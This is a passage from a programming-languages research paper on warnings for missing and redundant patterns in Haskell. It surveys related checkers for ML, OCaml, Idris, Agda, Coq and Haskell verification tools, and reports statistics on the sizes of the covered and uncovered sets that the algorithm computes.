However, Haskell does not offer this degree of freedom; it
fixes a top-to-bottom and left-to-right order of evaluation in pattern
match clauses.

8.2 Warnings for Simple Patterns
We now turn our attention to generating warnings for inexhaus-
tive or redundant patterns. For simple patterns (no guards, no
GADTs) there are several related works. The most closely-related
is Maranget’s elegant algorithm for detecting missing and redun-
dant (or “useless”) clauses [16]. Maranget recursively defines a
predicate that determines whether there could be any vector of val-
ues v that matches pattern vector �p, without matching any pattern
vector row in a matrix P , Ureq(P, �p), and answers both ques-
tions of exhaustiveness (query Ureq(P, _)) and redundancy (query
Ureq(P

1..(j−1), �pj) where P 1..(j−1) corresponds to all previous
clauses). Our algorithm has many similarities (e.g. in the way it ex-
pands constructor patterns) but is more incremental by propagating
state from one clause to the next instead of examining all previous
clauses for each clause.

Maranget’s algorithm does not deal with type constraints (as
those arising from GADTs), nor guards and nested patterns that
require keeping track of Δ and environment Γ. Finally the subtle
case of an empty covered set but a non-empty divergent set would
not be treated specially (and the clause would be considered as non-
redundant, though it could only allow values causing divergence).

Krishnaswami [12] accounts for exhaustiveness and redundancy
checking as part of formalisation of pattern matching in terms of
the focused sequent calculus. His approach assumes a left-to-right
ordering in the translation of ML patterns, which is compatible with
Haskell’s semantics.

Sestoft [27] focuses on compiling pattern matches for a simply-
typed variant of ML, but his algorithm also identifies inexhaustive
matches and redundant match rules as a by-product.

8.3 Warnings for GADT Patterns
OCaml and Idris both support GADTs, and both provide some
GADT-aware support for pattern-match checking. No published
work describes the algorithm used in these implementations.

OCaml When Garrigue and Le Normand introduced GADTs to
the OCaml language [10], they also extended the checking al-
gorithm. It eliminates the ill-typed uncovered cases proposed by
OCaml’s original algorithm. However, their approach does not
identify clauses that are redundant due to unsatisfiable type con-
straints. For instance, the third clause in f below is not identified as
redundant.

type _ t = T1 : int t | T2 : bool t

let f (type a) (x: a t) (y: a s) : unit =
match (x, y) with
| (T1, T1) -> ()
| (T2, T2) -> ()
| (_, _) -> ()

Idris Idris [2, 3] has very limited checking of overlapping pat-
terns or redundant patterns.3 It does, however, check coverage, and
will use this information in optimisation and code generation.

3 Edwin Brady, personal communication
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ML variants Xi. [34–36] shows how to eliminate dead code for
GADT pattern matching – and dependent pattern matching in gen-
eral – for Dependent ML. He has a two-step approach: first add all
the missing patterns using simple-pattern techniques (Section 8.2),
and then prune out redundant clauses by checking when typing con-
straints are un-satisfiable. We combine the two steps, but the satis-
fiability checking is similar.

Dunfield’s thesis [7, Chapter 4] presents a coverage checker for
Stardust [8], another ML variant with refinement and intersection
types. The checker proceeds in a top-down, left-to-right fashion
much like Figure 1 and uses type satisfiability to prune redundant
cases.

Neither of these works handles guards or laziness.

8.4 Total Languages
Total languages like Agda [22] and Coq [19] must treat non-
exhaustive pattern matches as an error (not a warning). More-
over, they also allow overlapping patterns and use a variation of
Coquand’s dependent pattern matching [6] to report redundant
clauses. The algorithm works by splitting the context, until the
current neighbourhood matches one of the original clauses. If the
current neighbourhood fails to match all the given clauses, the
pattern match is non-exhaustive and a coverage failure error is is-
sued. If matching is inconclusive though, the algorithm splits along
one of the blocking variables and proceeds recursively with the
resulting neighbourhoods. Finally, the with-construct [22], first in-
troduced by McBride and McKinna [20], provides (pattern) guards
in a form that is suitable for total languages.

The key differences between our work and work on dependent
pattern matching are the following: (i) because of the possibility of
divergence we have to take laziness into account; (ii) current pre-
sentations of with-clauses [20] do not introduce term-level equal-
ity propositions and hence may report inexhaustiveness checking
more often than necessary, (iii) our approach is easily amenable to
external decision procedures that are proven sound but do not have
to return proof witnesses in the proof theory in hand.

8.5 Verification Tools
ESC/Haskell. A completely different but more powerful ap-
proach can be found in ESC/Haskell [38] and its successor [39].
ESC/Haskell is based on preconditions and contracts, so, it is able
to detect far more defects in programs: pattern matching failures,
division by zero, out of bounds array indexing, etc. Although it is
far more expressive than our approach (e.g. it can verify even some
sorting algorithms), it requires additional work by the programmer
through explicit pre/post-conditions.

Catch. Another approach that is closer to our work but retains
some of the expressiveness of ESC/Haskell is the tool Catch [21]
Catch generates pre- and post-conditions that describe the sets of
incoming and returned values of functions (quite similarly to our
value abstraction sets). Catch is based on abstract interpretation
over Haskell terms – the scope of abstract interpretation in our case
is restricted to clauses (and potentially nested patterns). A differ-
ence is that Catch operates at the level of Haskell Core, GHC’s in-
termediate language [40]. The greatest advantage of this approach
is that this language has only 10 data constructors, and hence Catch
does not have to handle the more verbose source Haskell AST. Un-
fortunately, at the level of Core, the original syntax is lost, leading
to less comprehensive error messages. On top of that, Catch does
not take into account type constraints, such as those that arise from
GADT pattern matching. Our approach takes them into account
and reuses the existing constraint solver infrastructure to discharge
them.

Liquid types. Liquid types [24, 31] is a refinement types exten-
sion to Haskell. Similarly to ESC/Haskell, it could be used to de-
tect redundant, overlapping, or non-exhaustive patterns, using an
SMT-based version of Coquand’s algorithm [6]. To take account
of type-level constraints (such as type equalities from GADTs) one
would have to encode them as refinement predicates. The algorithm
that we propose for computing covered, uncovered, and diverging
sets would still be applicable, but would have to emit constraints in
the vocabulary of Liquid types.

9. Discussion and Further Work
We presented an algorithm that provides warnings for functions
with redundant or missing patterns. These warnings are accurate,
even in the presence of GADTs, laziness and guards. Our im-
plementation is already available in the GHC repository (branch
wip/gadtpm). Given its power, the algorithm is both modular and
simple: Figure 3 is really the whole thing, apart from the satisfi-
ability checker. It provides interesting opportunities for follow-on
work, such as smarter reasoning about term-level constraints, and
exploiting the analysis results for optimised compilation.
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A. Set Size Statistics
As we discussed in Section 3.4, our algorithm has exponential
behaviour in the worst case. Nevertheless, we expect this behaviour
to be rare in practice. To confirm this expectation, we put our
implementation to the test by collecting statistics concerning the
size of sets C and U our algorithm generates for the packages of
Section 7:

Maximum size of C/U Pattern Matches (%)
1− 9 8702 97.90%

10− 99 181 2.04%
100− 2813 5 0.06%

Since there was significant variance in the results, we divided them
into three size groups. Out of 8888 pattern matches checked in total,
almost 98% of the generated and processed sets have a size less
than 10. In fact, the vast majority (over 95%) have size 1 or 2.

The percentage of sets with size between 10 and 99 is 2.04%.
We believe that this percentage is acceptable for types with many
constructors and for pattern matches with many arguments.

Last but not least, we encountered 5 cases (only 0.06%) with
extremely large sets (≥ 100 elements). All of them were found in
a specific library4 of package ad. As expected, all these involved
pattern matches had the structure of function f from Section 3.4:

data T = A | B | C
f A A = True
f B B = True
f C C = True

Notably, the most extreme example which generated an uncovered
set of size 2813, matches against two arguments of type T with 54
data constructors, a match that gives rise to 3025 different value
combinations!

4 Library Data.Array.Accelerate.Analysis.Match.
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